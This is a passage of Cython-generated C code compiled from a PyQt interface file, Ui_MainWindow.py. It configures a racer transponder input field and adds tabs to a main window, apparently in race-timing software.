__pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 318, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__188, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 318, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":319 * self.R_transponder.setToolTip("") * self.R_transponder.setStatusTip("") * self.R_transponder.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_transponder.setAccessibleDescription("") * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 319, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 319, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__189, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 319, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":320 * self.R_transponder.setStatusTip("") * self.R_transponder.setAccessibleName("") * self.R_transponder.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_transponder.setText("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 320, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 320, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__190, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 320, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":321 * self.R_transponder.setAccessibleName("") * self.R_transponder.setAccessibleDescription("") * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) # <<<<<<<<<<<<<< * self.R_transponder.setText("") * self.R_transponder.setMaxLength(12) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Or(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ImhFormattedNumbersOnly); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Or(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 321, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":322 * self.R_transponder.setAccessibleDescription("") * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_transponder.setText("") # <<<<<<<<<<<<<< * self.R_transponder.setMaxLength(12) * self.R_transponder.setObjectName("R_transponder") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 322, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 322, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__191, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 322, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":323 * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_transponder.setText("") * self.R_transponder.setMaxLength(12) # <<<<<<<<<<<<<< * self.R_transponder.setObjectName("R_transponder") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 323, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 323, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__192, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 323, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":324 * self.R_transponder.setText("") * self.R_transponder.setMaxLength(12) * self.R_transponder.setObjectName("R_transponder") # <<<<<<<<<<<<<< * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) * self.Tab_Container.addTab(self.T_Racer, "") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__193, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":325 * self.R_transponder.setMaxLength(12) * self.R_transponder.setObjectName("R_transponder") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Racer, "") * self.T_Category = QtWidgets.QWidget() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_27, __pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_27, __pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_27); __Pyx_GIVEREF(__pyx_int_27); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_27); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_4); __pyx_t_7 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 325, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":326 * self.R_transponder.setObjectName("R_transponder") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) * self.Tab_Container.addTab(self.T_Racer, "") # <<<<<<<<<<<<<< * self.T_Category = QtWidgets.QWidget() * self.T_Category.setObjectName("T_Category") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_addTab); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_2, __pyx_kp_u__9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_2, __pyx_kp_u__9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_t_2); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 326, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":327 * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) * self.Tab_Container.addTab(self.T_Racer, "") * self.T_Category = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_Category.setObjectName("T_Category") * self.Tab_Container.addTab(self.T_Category, "") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 327, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_Category, __pyx_t_3) < 0) __PYX_ERR(0, 327, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":328 * self.Tab_Container.addTab(self.T_Racer, "") * self.T_Category = QtWidgets.QWidget() * self.T_Category.setObjectName("T_Category") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Category, "") * self.T_Racer_Race = QtWidgets.QWidget() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Category); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 328, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 328, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__194, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 328, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":329 * self.T_Category = QtWidgets.QWidget() * self.T_Category.setObjectName("T_Category") * self.Tab_Container.addTab(self.T_Category, "") # <<<<<<<<<<<<<< * self.T_Racer_Race = QtWidgets.QWidget() * self.T_Racer_Race.setObjectName("T_Racer_Race") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addTab); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Category); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_7, __pyx_kp_u__9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_7, __pyx_kp_u__9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_7); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 329, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":330 * self.T_Category.setObjectName("T_Category") * self.Tab_Container.addTab(self.T_Category, "") * self.T_Racer_Race = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_Racer_Race.setObjectName("T_Racer_Race") * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 330, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = 